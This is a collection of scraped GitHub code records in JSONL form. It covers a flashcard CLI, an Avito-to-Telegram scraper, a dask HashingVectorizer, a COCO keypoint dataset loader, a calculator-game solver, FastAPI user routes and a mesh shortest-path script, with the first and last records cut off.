sort_song(song)\n \n# end of sort_song function\n","repo_name":"samjhopkins9/DJ-File-Tool","sub_path":"songsorter.py","file_name":"songsorter.py","file_ext":"py","file_size_in_byte":1826,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"71673291715","text":"from cli.menu import choose_option, Command, MenuOptionsRegistry, MainloopExit, UnknownCommand\n\nfrom cli.lookup import lookup\nfrom cli.questioning import question_all_due, question_all_group, question_single_card\nfrom cli.show import show_group, show_card\nfrom cli.use import use_group, use_card\n\nfrom data import database_manager, udm_handler\nfrom data.cardManager import CardManager\n\nfrom re import match\n\n\n@MenuOptionsRegistry\nclass LookUp(Command):\n \"\"\"\n The 'lookup' command.\n \"\"\"\n usage = \"lookup \"\n description = \"looks up a string in the database\"\n\n def __init__(self, *word: str):\n if len(word) == 0:\n raise TypeError\n lookup(\" \".join(word))\n\n @classmethod\n def get_help(cls):\n \"\"\"\n Returns a help string for the 'question' command.\n :return: the help string\n \"\"\"\n return \"{}\\n{}\\n\\n{}\\n{}\".format(cls.usage_notice(), cls.description, \"string : the string to be looked up\",\n \" supports regular expressions with python syntax\")\n\n\n@MenuOptionsRegistry\nclass Question(Command):\n \"\"\"\n The 'question' command.\n \"\"\"\n usage = \"question [due||]\"\n description = \"questions the user over all due cards or all cards in group_name or a single card\"\n\n def __init__(self, group_name: str = \"due\"):\n if udm_handler.get_user() is None:\n print(\"Choose user first. (user )\")\n return\n if group_name == \"due\":\n question_all_due()\n elif CardManager.group_name_exists(group_name):\n question_all_group(group_name)\n else:\n try:\n card_id = int(group_name)\n except ValueError:\n print(\"group_name unknown.\")\n return\n\n if not udm_handler.get_udm().card_is_used(card_id):\n print(\"Card {} is not used.\".format(card_id))\n else:\n question_single_card(card_id)\n\n @classmethod\n def get_help(cls):\n \"\"\"\n Returns a help string for the 'question' command.\n :return: the help string\n \"\"\"\n return \"{}\\n{}\\n\\n{}\".format(cls.usage_notice(), cls.description, \"group_name : the group to be used\")\n\n\n@MenuOptionsRegistry\nclass Show(Command):\n \"\"\"\n The 'show c' and 'show w' commands.\n \"\"\"\n usage = \"show (c|w||)\"\n description = \"show corresponding parts of LICENSE or all cards in card-group group_name\"\n\n def __init__(self, group: str):\n if group == \"c\":\n print(self.get_copyright())\n return\n\n elif group == \"w\":\n print(self.get_warranty())\n return\n\n try:\n card_id = int(group)\n if database_manager.card_exists(card_id):\n show_card(card_id)\n else:\n print(\"Card {} does not exist.\".format(card_id))\n except ValueError:\n if database_manager.group_name_exists(group):\n show_group(group)\n else:\n print(\"group_name unknown\")\n\n @staticmethod\n def get_warranty() -> str:\n \"\"\"\n Reads the warranty part of the LICENSE.\n :return: the warranty text\n \"\"\"\n try:\n f = open(\"LICENSE\")\n lines = f.readlines()\n f.close()\n return \"\".join(lines[588:598])\n except FileNotFoundError:\n return \"file LICENSE not found.\"\n\n @staticmethod\n def get_copyright() -> str:\n \"\"\"\n Reads the copyright part of the LICENSE.\n :return: the copyright text\n \"\"\"\n try:\n f = open(\"LICENSE\")\n lines = f.readlines()\n f.close()\n return \"\".join(lines[194:433])\n except FileNotFoundError:\n return \"file LICENSE not found.\"\n\n @classmethod\n def get_help(cls) -> str:\n \"\"\"\n Returns a help string for the 'show' command.\n :return: the help string\n \"\"\"\n to_return = \"{}\\n{}\\n\\n\".format(cls.usage_notice(), cls.description)\n to_return += \" c - show copyright\\n\"\n to_return += \" w - show warranty\\n\"\n to_return += \" group_name - show all cards in the CardGroup group_name\"\n return to_return\n\n\n@MenuOptionsRegistry\nclass Use(Command):\n \"\"\"\n The 'use' command\n \"\"\"\n usage = \"use (|)\"\n description = \"put all cards in card-group group_name in shelf 1\"\n\n def __init__(self, group_name: str):\n if udm_handler.get_user() is None:\n print(\"Choose user first. (user )\")\n return\n try:\n card_id = int(group_name)\n if not database_manager.card_exists(card_id):\n print(\"Card {} does not exist.\".format(card_id))\n elif udm_handler.get_udm().card_is_used(card_id):\n print(\"Card {} is already used.\".format(card_id))\n else:\n use_card(card_id)\n except ValueError:\n if not CardManager.group_name_exists(group_name):\n print(\"Group {} does not exist.\".format(group_name))\n else:\n use_group(group_name)\n\n\n@MenuOptionsRegistry\nclass User(Command):\n \"\"\"\n The 'user' command.\n \"\"\"\n usage = \"user \"\n description = \"switch to user with name user_name\"\n\n def __init__(self, name: str):\n global prompt\n if name not in udm_handler.get_user_names():\n if not match(\"^[\\w\\-. ]+$\", name):\n print(\"Invalid user name. Only use a-z, A-Z, 0-9, _, -, .\")\n if choose_option([\"y\", \"n\"], \"Username does not exist. Create new user? [y|n] \")[0] == \"n\":\n return\n udm_handler.set_user(name)\n prompt = \"{} $ \".format(name)\n\n\ndef mainloop():\n \"\"\"\n Repeatedly prompts the user for a command until the command exit is invoked.\n \"\"\"\n global prompt\n while True:\n choice = input(prompt).strip(\" \").split(\" \")\n if choice[0] == \"\":\n continue\n try:\n MenuOptionsRegistry.run(*choice)\n except UnknownCommand:\n print(\"unknown command: {}\\nInput 'help' for a list of available commands.\".format(choice[0]))\n except MainloopExit:\n break\n\n\nprompt = \"$ \"\n\n\ndef main(version: str, user: str = None, enable_data_commands: bool = False):\n \"\"\"\n The TextUIs main method.\n :param version: the programs version to be displayed\n :param user: the user that should be active on start\n :param enable_data_commands: True to enable data_commands\n \"\"\"\n print(\"\"\"lHelper v{} Copyright (C) 2016 Julian Mueller\nThis program comes with ABSOLUTELY NO WARRANTY; for details type 'show w'.\nThis is free software, and you are welcome to redistribute it\nunder certain conditions; type 'show c' for details.\"\"\".format(version))\n\n if user:\n udm_handler.set_user(user)\n\n global prompt\n if udm_handler.get_user() is not None:\n prompt = \"{} $ \".format(udm_handler.get_user())\n\n if enable_data_commands:\n import cli.data_commands\n\n mainloop()\n","repo_name":"Julian24816/lHelper","sub_path":"cli/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":7201,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"72489966274","text":"import sys\ninput = sys.stdin.readline\n\n# 파싱\nnums = list(map(int, input().split()))\n\nif nums == [1, 2, 3, 4, 5, 6, 7, 8]:\n print(\"ascending\")\nelif nums == [8, 7, 6, 5, 4, 3, 2, 1]:\n print(\"descending\")\nelse:\n print(\"mixed\")\n","repo_name":"Lairin-pdj/coding_test","sub_path":"baekjoon/2920_음계.py","file_name":"2920_음계.py","file_ext":"py","file_size_in_byte":236,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"215153108","text":"import time\nimport telegram\n\nfrom app.celery import app\n\nfrom django.template.loader import render_to_string\nfrom django.conf import settings\nfrom django.utils import timezone\n\nfrom scrapy import signals\nfrom scrapy.crawler import CrawlerRunner\nfrom scrapy.utils.project import get_project_settings\nfrom scrapy.signalmanager import dispatcher\n\nfrom twisted.internet import reactor\n\nfrom item.crawler.crawler.spiders.spider import AvitoSpider\nfrom item.models import Item\n\n\nbot = telegram.Bot(token=settings.TELEGRAM_TOKEN)\n\n\n@app.task\ndef parse_from_catalog():\n def crawler_results(signal, sender, item, response, spider):\n if not Item.objects.filter(external_id=item.get('id')).first():\n Item.objects.create(\n name=item.get('name'),\n url=item.get('url'),\n time=item.get('time'),\n price=item.get('price'),\n external_id=item.get('id')\n )\n\n dispatcher.connect(crawler_results, signal=signals.item_scraped)\n\n runner = CrawlerRunner(get_project_settings())\n d = runner.crawl(AvitoSpider)\n d.addBoth(lambda _: reactor.stop())\n reactor.run()\n\n\n@app.task\ndef send_to_telegram():\n bot.send_message(chat_id=settings.TELEGRAM_CHAT_ID, text=\"Смотрю объявления...\", disable_notification=True)\n items = Item.objects.filter(is_send=False).order_by('parsed_at')\n if not items:\n bot.send_message(chat_id=settings.TELEGRAM_CHAT_ID, text=\"Нет новых объявлений\", disable_notification=True)\n\n for item in items:\n try:\n message = render_to_string('item.html', {'item': item })\n bot.send_message(chat_id=settings.TELEGRAM_CHAT_ID, text=message, parse_mode=telegram.ParseMode.HTML)\n item.is_send = True\n item.save()\n time.sleep(3.5)\n except Exception as e:\n print(f'Error: {e}')\n\n\n@app.task\ndef clear_ancient():\n Item.objects.filter(is_send=False, parsed_at__lt=timezone.now() - timezone.timedelta(days=7)).delete()","repo_name":"jokerety/AvitoDjango","sub_path":"item/tasks.py","file_name":"tasks.py","file_ext":"py","file_size_in_byte":2050,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"12448678678","text":"import dask\nimport dask.array as da\nimport dask.bag as db\nimport dask.dataframe as dd\nimport numpy as np\nimport sklearn.feature_extraction.text\n\n\nclass HashingVectorizer(sklearn.feature_extraction.text.HashingVectorizer):\n def transform(self, X):\n \"\"\"Transform a sequence of documents to a document-term matrix.\n\n Transformation is done in parallel, and correctly handles dask\n collections.\n\n Parameters\n ----------\n X : dask.Bag of raw text documents, length = n_samples\n Samples. Each sample must be a text document (either bytes or\n unicode strings, file name or file object depending on the\n constructor argument) which will be tokenized and hashed.\n\n Returns\n -------\n X : dask.array.Array, shape = (n_samples, self.n_features)\n Document-term matrix. Each block of the array is a scipy sparse\n matrix.\n\n Notes\n -----\n The returned dask Array is composed scipy sparse matricies. If you need\n to compute on the result immediately, you may need to convert the individual\n blocks to ndarrays or pydata/sparse matricies.\n\n >>> import sparse\n >>> X.map_blocks(sparse.COO.from_scipy_sparse, dtype=X.dtype) # doctest: +SKIP\n\n See the :doc:`examples/text-vectorization` for more.\n \"\"\"\n msg = \"'X' should be a 1-dimensional array with length 'num_samples'.\"\n\n if not dask.is_dask_collection(X):\n return super(HashingVectorizer, self).transform(X)\n\n if isinstance(X, db.Bag):\n bag2 = X.map_partitions(_transform, estimator=self)\n objs = bag2.to_delayed()\n arrs = [\n da.from_delayed(obj, (np.nan, self.n_features), self.dtype)\n for obj in objs\n ]\n result = da.concatenate(arrs, axis=0)\n elif isinstance(X, dd.Series):\n result = X.map_partitions(_transform, self)\n elif isinstance(X, da.Array):\n # dask.Array\n chunks = ((np.nan,) * X.numblocks[0], (self.n_features,))\n if X.ndim == 1:\n result = X.map_blocks(\n _transform, estimator=self, dtype=\"f8\", chunks=chunks, new_axis=1\n )\n else:\n raise ValueError(msg)\n else:\n raise ValueError(msg)\n\n return result\n\n\ndef _transform(part, estimator):\n return sklearn.feature_extraction.text.HashingVectorizer.transform(estimator, part)\n","repo_name":"pakelley/dask-ml","sub_path":"dask_ml/feature_extraction/text.py","file_name":"text.py","file_ext":"py","file_size_in_byte":2530,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"61"} +{"seq_id":"41251148897","text":"from picloud_client import SubClient\nfrom app.config import PICLOUD_SUB_URL, PICLOUD_API_KEY\nfrom app.utils.database import database_connection\n\n\ndef main():\n db = database_connection()\n picloud = SubClient(\n url=PICLOUD_SUB_URL,\n api_key=PICLOUD_API_KEY,\n client_name='THPL-Data-Logger')\n\n def on_thpl_data(data):\n cursor = db.cursor()\n cursor.callproc('thpl_data_insert', ['home', data])\n cursor.close()\n\n picloud.subscribe(event='home:thpl', callback=on_thpl_data)\n\n while True:\n picloud.process_subscriptions()\n\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"projectweekend/THPL-Data-Logger","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":619,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"16833534641","text":"import os\nimport sys\n\nfrom button import *\nfrom states.state import State\nfrom tile import *\nfrom colors import *\nimport pygame\nfrom board import *\nfrom tile import *\nfrom turn_handler import *\n\n\nclass Suspicion(State):\n def __init__(self, game,active_players, current_player):\n State.__init__(self, game)\n\n #Definiere Actions\n self.actions = {\"pause\": False, \"note\":False}\n self.active_players = active_players\n self.current_player = current_player\n self.img_player_red = pygame.image.load(os.path.join(self.game.assets_dir, \"sprites\", \"gloria_red_outline.png\"))\n self.img_player_yellow = pygame.image.load(os.path.join(self.game.assets_dir, \"sprites\", \"gatow_red_outline.png\"))\n self.img_player_pink = pygame.image.load(os.path.join(self.game.assets_dir, \"sprites\", \"orchidee_red_outline.png\"))\n self.img_player_green = pygame.image.load(os.path.join(self.game.assets_dir, \"sprites\", \"gruen_red_outline.png\"))\n self.img_player_blue = pygame.image.load(os.path.join(self.game.assets_dir, \"sprites\", \"porz_red_outline.png\"))\n self.img_player_purple = pygame.image.load(os.path.join(self.game.assets_dir, \"sprites\", \"bloom_red_outline.png\"))\n\n self.list = [ Tile('Rope', 'Weapon', 15, 0, 200, 200, (TileWeaponColor.get_color())),\n Tile('Wrench', 'Weapon', 225, 0, 200, 200, (TileWeaponColor.get_color())),\n Tile('Revolver', 'Weapon', 435, 0, 200, 200, (TileWeaponColor.get_color())),\n Tile('Knife', 'Weapon', 15, 210, 200, 200, (TileWeaponColor.get_color())),\n Tile('Candlestick', 'Weapon', 225, 210, 200, 200, (TileWeaponColor.get_color())),\n Tile('Lead Pipe', 'Weapon', 435, 210, 200, 200, (TileWeaponColor.get_color())),\n Tile('Miss Scarlett', 'Character', 15, 420, 200, 200, (TileCharacterColor.get_color())),\n Tile('Colonel Mustard', 'Character', 225, 420, 200, 200, (TileCharacterColor.get_color())),\n Tile('Mrs. White', 'Character', 435, 420, 200, 200, (TileCharacterColor.get_color())),\n Tile('Mr. Green', 'Character', 15, 640, 200, 200, (TileCharacterColor.get_color())),\n Tile('Mrs. Peacock', 'Character', 225, 640, 200, 200, (TileCharacterColor.get_color())),\n Tile('Professor Plum', 'Character', 435, 640, 200, 200, (TileCharacterColor.get_color()))]\n\n self.Suspect_btn = Button(self.game, \"Suspect\", 250, 850, 150, 40, True)\n self.Back_btn = Button(self.game, \"Back\", 250, 900, 150, 40, True)\n self.Back_btn_Popup = Button(self.game, \"Back\", 250, 600, 150, 40, True)\n\n self.suspicionv = False\n self.Weapon_count = 0\n self.Character_count = 0\n self.board = Board()\n self.suspicion = [self.board.find_tile_by_name(self.current_player.tile).name]\n\n def show_suspicion_player_cards(self):\n view = []\n for player in self.active_players:\n if player.name == self.current_player.name:\n continue\n for card in player.card_list:\n if card.name in self.suspicion:\n view.append(card.name)\n view.append(player.name)\n return view\n break\n\n return None\n\n def show_popup(self,screen):\n if self.suspicionv==True:\n suspicion_list = self.show_suspicion_player_cards()\n font = pygame.font.Font(None, 24)\n popup_width, popup_height = 550, 450\n border_size = 5 # Border size in pixels\n\n\n # Calculate the position and size of the popup\n popup_rect = pygame.Rect((650 - popup_width) // 2, (960 - popup_height) // 2, popup_width,\n popup_height)\n\n\n # Draw background\n pygame.draw.rect(screen, (200, 200, 200), popup_rect)\n\n # Draw border around the background\n pygame.draw.rect(screen, (0, 0, 0), popup_rect, border_size)\n self.Back_btn_Popup.draw()\n\n if suspicion_list != None:\n text_surface = font.render(\"Spieler \" + suspicion_list[1] +\" zeigt dir Karte \" +suspicion_list[0], True, (0, 0, 0))\n text_rect = text_surface.get_rect(center=popup_rect.center)\n screen.blit(text_surface, text_rect)\n\n else:\n text_surface = font.render(\"Kein Spieler hat eine Karte die deiner Vermutung entspricht ;)\", True, (0, 0, 0))\n text_rect = text_surface.get_rect(center=popup_rect.center)\n screen.blit(text_surface, text_rect)\n\n pygame.display.flip()\n\n def draw_list(self, screen):\n for row in range(len(self.list)):\n tile = self.list[row]\n pygame.draw.rect(screen, tile.color, (tile.x, tile.y, tile.width, tile.height))\n font = pygame.font.Font(None, 24) # Adjust the font size as needed\n text = font.render(tile.name, True, (0, 0, 0)) # Text color: (0, 0, 0) is black\n text_rect = text.get_rect(center=(tile.x + tile.width // 2, tile.y + tile.height // 2))\n screen.blit(text, text_rect)\n\n if tile.clicked:\n border_size = 5\n border_color = (255, 0, 0) # Green\n pygame.draw.rect(screen, border_color, (tile.x, tile.y, tile.width, border_size))\n # Draw bottom border\n pygame.draw.rect(screen, border_color,\n (tile.x, tile.y + tile.height - border_size, tile.width, border_size))\n # Draw left border\n pygame.draw.rect(screen, border_color, (tile.x, tile.y, border_size, tile.height))\n # Draw right border\n pygame.draw.rect(screen, border_color,\n (tile.x + tile.width - border_size, tile.y, border_size, tile.height))\n\n def find_tile_at_position(self, x, y):\n for tile in self.list:\n if tile.x <= x < tile.x + tile.width and tile.y <= y < tile.y + tile.height:\n return tile\n return None\n\n\n def update(self, delta_time, actions):\n if self.Suspect_btn.clicked:\n for tile in self.list:\n if tile.clicked:\n self.suspicion.append(tile.name)\n self.show_suspicion_player_cards()\n self.suspicionv = True\n self.Suspect_btn.clicked = False\n if self.Back_btn.clicked:\n self.game.state_stack.pop()\n self.Back_btn.clicked = False\n if self.Back_btn_Popup.clicked:\n self.suspicionv = False\n self.Back_btn_Popup = False\n self.current_player.suspect = False\n self.game.state_stack.pop()\n\n\n def render(self, screen):\n screen.fill((24, 26, 27)) # Clear the screen\n self.draw_list(screen)\n self.Suspect_btn.draw()\n self.Back_btn.draw()\n self.show_popup(screen)\n pygame.display.flip() # Update the display\n\n def get_events(self):\n for event in pygame.event.get():\n if event.type == pygame.QUIT:\n exit(0)\n if event.type == pygame.MOUSEBUTTONDOWN:\n x, y = event.pos # Get the x, y position of the click\n if self.find_tile_at_position(x, y) in self.list and self.find_tile_at_position(x, y).type == 'Weapon' and self.Weapon_count == 0 :\n self.find_tile_at_position(x, y).clicked = True\n self.Weapon_count = 1\n elif self.find_tile_at_position(x, y) in self.list and self.find_tile_at_position(x, y).type == 'Weapon' and self.Weapon_count == 1 and self.find_tile_at_position(x, y).clicked == True:\n self.find_tile_at_position(x, y).clicked = False\n self.Weapon_count = 0\n elif self.find_tile_at_position(x, y) in self.list and self.find_tile_at_position(x, y).type == 'Character' and self.Character_count == 1 and self.find_tile_at_position(x, y).clicked == True:\n self.find_tile_at_position(x, y).clicked = False\n self.Character_count = 0\n elif self.find_tile_at_position(x, y) in self.list and self.find_tile_at_position(x, y).type == 'Character' and self.Character_count == 0:\n self.find_tile_at_position(x, y).clicked = True\n self.Character_count = 1\n if self.Suspect_btn.check_click(x,y):\n self.Suspect_btn.clicked = not self.Suspect_btn.clicked\n if self.Back_btn.check_click(x,y):\n self.Back_btn.clicked = not self.Back_btn.clicked\n if self.Back_btn_Popup.check_click(x,y):\n self.Back_btn_Popup.clicked = not self.Back_btn_Popup.clicked\n\n\n","repo_name":"LeanderStolle/cluedo","sub_path":"states/suspicion.py","file_name":"suspicion.py","file_ext":"py","file_size_in_byte":9037,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"44168720206","text":"from pycocotools.coco import COCO\nfrom torch import zeros, tensor\nfrom torch.utils.data import Dataset, DataLoader\nimport skimage.io as io\nimport math\nimport numpy as np\nfrom skimage.draw import disk\n\nclass CocoDataset(Dataset):\n def __init__(self, root, annFile, dataType, transforms, keypoint_pad=3, shape = 64):\n self.root = root\n self.dataType = dataType\n self.annFile = annFile\n self.transforms = transforms\n self.coco = COCO(annFile)\n self.catIds = self.coco.getCatIds(catNms=['person'])\n self.ids = sorted(self.coco.getImgIds(catIds=self.catIds))\n usefulIds = []\n for id in self.ids:\n annIds = self.coco.getAnnIds(imgIds=id, catIds=self.catIds, areaRng=[8000, math.inf], iscrowd=False)\n anns = self.coco.loadAnns(annIds)\n # if len(anns)>0 and 0 not in anns[0]['keypoints']:\n if len(anns)>0 and 0 not in anns[0]['keypoints'][10:22]:\n usefulIds.append(id)\n self.ids = usefulIds\n self.keypoint_pad = keypoint_pad\n self.shape = shape\n\n def load_image(self, id):\n path = self.coco.loadImgs(id)[0][\"file_name\"]\n return io.imread('%s/images/%s/%s'%(self.root, self.dataType, path))\n\n def load_keypoints(self, anns, selected_person, old_shape, new_shape, shift_x, shift_y):\n keypoints = anns[selected_person]['keypoints']\n shift_x = round(shift_x/old_shape*new_shape)\n shift_y = round(shift_y/old_shape*new_shape)\n n_pose_keypoints = int(len(keypoints)/3)\n pose_map = zeros(n_pose_keypoints, new_shape, new_shape)\n for j in range(n_pose_keypoints):\n shifted_x = round(keypoints[j*3+1]/old_shape*new_shape)-shift_x\n shifted_y = round(keypoints[j*3]/old_shape*new_shape)-shift_y\n if shifted_x > 0 or shifted_y > 0:\n rr, cc = disk((shifted_x, shifted_y), self.keypoint_pad, shape=(new_shape, new_shape))\n pose_map[j, rr, cc] = 1.0\n\n return pose_map\n\n def crop_image(self, image, x, y, w, h):\n if w>h:\n pad = (w-h)/2\n dif = 0\n if 2*pad+h>image.shape[1]:\n dif = w-image.shape[1]\n pad = (image.shape[1]-h)/2\n zero_dif = min(y, int(pad+0.5))\n max_dif = min(image.shape[1]-(y+h), int(pad))\n pad_top = zero_dif+int(pad)-max_dif\n pad_bot = max_dif+int(pad+0.5)-zero_dif\n pad_left = -int(dif/2+0.5)\n pad_right = -int(dif/2)\n elif h>w:\n pad = (h-w)/2\n dif = 0\n if 2*pad+w>image.shape[0]:\n dif = h-image.shape[0]\n pad = (image.shape[0]-w)/2\n zero_dif = min(x, int(pad+0.5))\n max_dif = min(image.shape[0]-(x+w), int(pad))\n pad_top = -int(dif/2+0.5)\n pad_bot = -int(dif/2)\n pad_left = zero_dif+int(pad)-max_dif\n pad_right = max_dif+int(pad+0.5)-zero_dif\n else:\n pad_top = 0\n pad_bot = 0\n pad_left = 0\n pad_right = 0\n cropped_image = image[x:x+w, y:y+h]\n cropped_image = image[x-pad_left:x+w+pad_right, y-pad_top:y+h+pad_bot]\n return cropped_image, x-pad_left, y-pad_top\n\n def __getitem__(self, idx):\n id = self.ids[idx]\n image = self.load_image(id)\n\n # fix BW images\n if len(image.shape)<3:\n image = np.moveaxis(np.repeat(np.expand_dims(image,0),3,axis=0),0,2)\n\n annIds = self.coco.getAnnIds(imgIds=id, catIds=self.catIds, areaRng=[8000, math.inf], iscrowd=False)\n anns = self.coco.loadAnns(annIds)\n selected_person = 0\n # selected_person = np.random.randint(0, len(anns))\n\n # get annotation data for cropping\n y = round(anns[selected_person]['bbox'][0])\n x = round(anns[selected_person]['bbox'][1])\n h = round(anns[selected_person]['bbox'][2])\n w = round(anns[selected_person]['bbox'][3])\n\n cropped_image, shift_x, shift_y = self.crop_image(image, x, y, w, h)\n image = tensor(np.moveaxis(cropped_image, -1, 0))/255\n keypoints = self.load_keypoints(anns, selected_person, image.shape[1], self.shape, shift_x, shift_y)\n\n if self.transforms is not None:\n image, keypoints = self.transforms(image), keypoints\n\n return image, keypoints\n\n def __len__(self):\n return len(self.ids)\n\ndef load_images_and_poses(batch_size, transforms=None, root='./COCOPersons', shape = 64, keypoint_pad = 3):\n\n dataType='train2017'\n annFile = '{}/annotations/person_keypoints_{}.json'.format(root, dataType) \n train_dataset = CocoDataset(root, annFile, dataType, transforms, shape = shape, keypoint_pad = keypoint_pad)\n\n dataType='val2017'\n annFile = '{}/annotations/person_keypoints_{}.json'.format(root, dataType) \n val_dataset = CocoDataset(root, annFile, dataType, transforms, shape = shape, keypoint_pad = keypoint_pad)\n\n dataloaders = {'train': DataLoader(train_dataset, shuffle=True, batch_size=batch_size, pin_memory=True, num_workers=4),\n 'val': DataLoader(val_dataset, shuffle=True, batch_size=batch_size, pin_memory=True, num_workers=4)}\n image_datasets = {'train': train_dataset,\n 'val': val_dataset}\n return image_datasets, dataloaders","repo_name":"okason97/HandGAN","sub_path":"datasets/coco.py","file_name":"coco.py","file_ext":"py","file_size_in_byte":5369,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"20229565491","text":"import argparse, warnings\nfrom button import Button\ntry:\n from gooey import Gooey\nexcept:\n Gooey = lambda x:x # dummy Gooey wrapper\n\nclass CalculatorGameState:\n def __init__(self, register, moves, target, button_names, solution=None, portals=None):\n assert all(isinstance(b, str) for b in button_names), 'You should create game state with button name'\n self.register = register\n self.moves = moves\n self.target = target\n self.buttons = [Button(b) for b in button_names]\n self.solution = solution or []\n self.portals = portals\n\n def __hash__(self):\n matters = map(str, (self.register, self.target, self.buttons))\n return hash(' '.join(matters))\n\n def send_through_portal(self, num):\n if not self.portals: return num\n inp, outp = self.portals\n s = str(num)\n if not num or len(s) < inp:\n return num\n extracted = s[-inp]\n be_extracted = s[:len(s)-inp] + s[len(s)-inp+1:]\n to_be_added, remain = be_extracted[:len(be_extracted)-outp+1], be_extracted[len(be_extracted)-outp+1:]\n to_be_added = str(int(to_be_added) + int(extracted))\n num = int(to_be_added + remain)\n return self.send_through_portal(num)\n\n def get_successors(self):\n if self.moves <= 0: return\n for b in self.buttons:\n if b.type == 'store': # additional operation provided by 'store'\n button_names = [str(b) if b.type != 'store' else 'store{}'.format(self.register) for b in self.buttons]\n yield CalculatorGameState(self.register, self.moves-1,\n self.target, button_names, self.solution + ['store'], self.portals)\n\n if b.type == 'button_modifier':\n button_names = [str(b.add(bu)) for bu in self.buttons]\n else:\n button_names = [*map(str, self.buttons)]\n reg = b.func(self.register)\n if self.portals:\n reg = self.send_through_portal(reg)\n yield CalculatorGameState(reg, self.moves-1,\n self.target, button_names, self.solution + [str(b)], self.portals)\n\n def is_goal(self):\n return self.register == self.target\n\n def __str__(self):\n return 'Register: {}, Moves: {}, Target: {}, Buttons: {}'.format(\n self.register, self.moves, self.target, ' '.join(map(str, self.buttons)))\n\n def __repr__(self):\n return str(self)\n\nclass Calculator_Solver:\n def __init__(self, *args, **kw):\n self.start = CalculatorGameState(*args, **kw)\n\n def solve(self): # DFS\n # state: (current register, actions left)\n dp = [self.start]\n steps = {hash(self.start):self.start.moves}\n while dp:\n state = dp.pop()\n for s in state.get_successors():\n if s.is_goal():\n return s.solution\n if hash(s) in steps and steps[hash(s)] >= s.moves: continue\n steps[hash(s)] = s.moves\n dp.append(s)\n return ['Fail']\n\n@Gooey\ndef get_args():\n parser = argparse.ArgumentParser(description='Crash Calculator: the Game')\n requiredNamed = parser.add_argument_group('Required Named Arguments')\n requiredNamed.add_argument('-m', '--moves', type=int, required=True,\n help='The moves allowed to use')\n requiredNamed.add_argument('-t', '--target', nargs=\"*\", type=int, required=True,\n help='The target number(s)')\n requiredNamed.add_argument('-r', '--register', type=int, required=True,\n help='The original number in the register')\n requiredNamed.add_argument('-b', '--buttons', nargs=\"*\", type=str, required=True,\n help=\"Buttons available, E.g. *2 | 1 | \\\"<<\\\" | \\\"6=>9\\\" | store | mirror | inv10 | [+]2\")\n\n optional = parser.add_argument_group('Optional Arguments')\n optional.add_argument('-p', '--portals', nargs=2, type=int, default=None,\n help='The locations of portals counting from the right.')\n optional.add_argument('-d', '--debug', action='store_true',\n help='Show warnings from buttons')\n return parser.parse_args()\n\nif __name__ == '__main__':\n args = get_args()\n not args.debug and warnings.filterwarnings(\"ignore\")\n for t in args.target:\n cs = Calculator_Solver(\n register=args.register,\n moves=args.moves,\n target=t,\n button_names=args.buttons,\n portals=args.portals)\n print('Solution for target {}: {}.'.format(t, ', '.join(cs.solve())))\n","repo_name":"yanrucheng/crash_calculator","sub_path":"crash_calculator.py","file_name":"crash_calculator.py","file_ext":"py","file_size_in_byte":4599,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"22570710213","text":"from typing import List\nfrom fastapi import APIRouter, status, Depends\nfrom pydantic import UUID4\nfrom src.services.users import UsersService\nfrom src.models.schemas.users.request import UsersRequest\nfrom src.models.schemas.users.response import UsersResponse\nfrom src.dependencies import ADMIN_ONLY\n\n\nrouter = APIRouter(\n prefix='/users',\n tags=['users'],\n dependencies=[Depends(ADMIN_ONLY)]\n)\n\n\n@router.get('/{guid}', response_model=UsersResponse, name='Получить пользователя по guid')\nasync def get_by_guid(guid: UUID4, service: UsersService = Depends()):\n return await service.get_by_guid(guid)\n\n\n@router.get('/', response_model=List[UsersResponse], name='Получить всех пользователей')\nasync def get_all(service: UsersService = Depends()):\n return await service.get_all()\n\n\n@router.post('/', response_model=UsersResponse, status_code=status.HTTP_201_CREATED, name='Регистрация пользователя')\nasync def register(request: UsersRequest, service: UsersService = Depends()):\n return await service.add(request)\n\n\n@router.post('/{guid}', response_model=UsersResponse, name='Изменить пользователя по guid')\nasync def update_by_guid(guid: UUID4, request: UsersRequest, service: UsersService = Depends()):\n user = await service.get_by_guid(guid)\n return await service.update(user, request)\n\n\n@router.delete('/{guid}', status_code=status.HTTP_204_NO_CONTENT, name='Удалить пользователя по guid')\nasync def delete_by_guid(guid: UUID4, service: UsersService = Depends()):\n user = await service.get_by_guid(guid)\n return await service.delete(user)\n","repo_name":"ZotovNikita/Back_central_server","sub_path":"src/api/users.py","file_name":"users.py","file_ext":"py","file_size_in_byte":1681,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"23744559028","text":"import matplotlib.pyplot as plt\nimport numpy as np\nfrom trimesh import load_off, get_edges\nfrom graph import Graph\n\n## Setup Graph\ni1 = 1134 # Vertex on tip of thumb\ni2 = 4644 # Vertex on tip of index finger\nX, _, tris = load_off(\"hand.off\")\nedges = get_edges(X, tris)\ng = Graph()\nfor i in range(X.shape[0]):\n g.add_vertex(i)\nfor i, j in zip(*edges):\n d = X[i, :] - X[j, :]\n d = np.sqrt(np.sum(d**2))\n g.add_edge(i, j, d)\n\n## Run Dijstra's algorithm\ndists = g.explore(i1)\ndists = np.array([dists[i] for i in range(len(dists))])\npath = g.backtrace(i2)\n\nfig = plt.figure(figsize=(16, 8))\n## Plot Euclidean results\nax1 = fig.add_subplot(1, 2, 1, projection='3d')\ndists_euc = np.sqrt(np.sum((X - X[i1, :][None, :])**2, axis=1))\nax1.scatter(X[:, 0], X[:, 1], X[:, 2], c=dists_euc, cmap='afmhot')\nax1.plot(X[[i1, i2], 0], X[[i1, i2], 